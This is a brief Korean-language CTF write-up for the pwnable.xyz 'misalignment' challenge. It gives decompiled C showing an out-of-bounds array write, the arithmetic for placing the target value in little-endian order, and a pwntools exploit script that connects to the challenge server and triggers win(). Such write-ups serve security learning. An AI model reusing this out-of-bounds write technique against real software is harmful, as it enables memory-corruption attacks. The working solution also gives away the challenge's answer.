[pwnable.xyz]misalignment

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-A0h]
  _QWORD v5[3]; // [rsp+18h] [rbp-98h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]
 
  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  memset(&s, 0, 152uLL);
  *(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= 4294967289 )// v8>=-7
  {
    v5[v8 + 6] = v6 + v7;
    printf("Result: %ld\n", v5[v8 + 6]);
  }
  if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
    win();
  return 0;
}

0xb5, 0x00, 0x00, 0x00, 0xb0, 0x00, 0x00, 0x00, 0x00 이런식으로 리틀엔디안으로 넣어주면 된다.

64비트에서 scanf의 %ld는 2^63 − 1 보다 큰 값이 들어올 경우 2^63-1 이다.

>>> 0xb500000000000000 - 0xffffffffffffffff - 1
-5404319552844595200L

>>> 0x0b000000
184549376

v5[0]에 0xb500000000000000 , v5[1]에 0x0b000000을 넣어주면 된다.

exploit.py

from pwn import *
 
#p= process("./challenge")
p=remote("svc.pwnable.xyz",30003)
 
context.log_level='debug'
 
p.writeline("-5404319552844595200 0 -6")
p.readuntil("Result: ")
p.writeline("184549376 0 -5")
p.readuntil("Result: ")
p.writeline("1 1 1000")
p.interactive()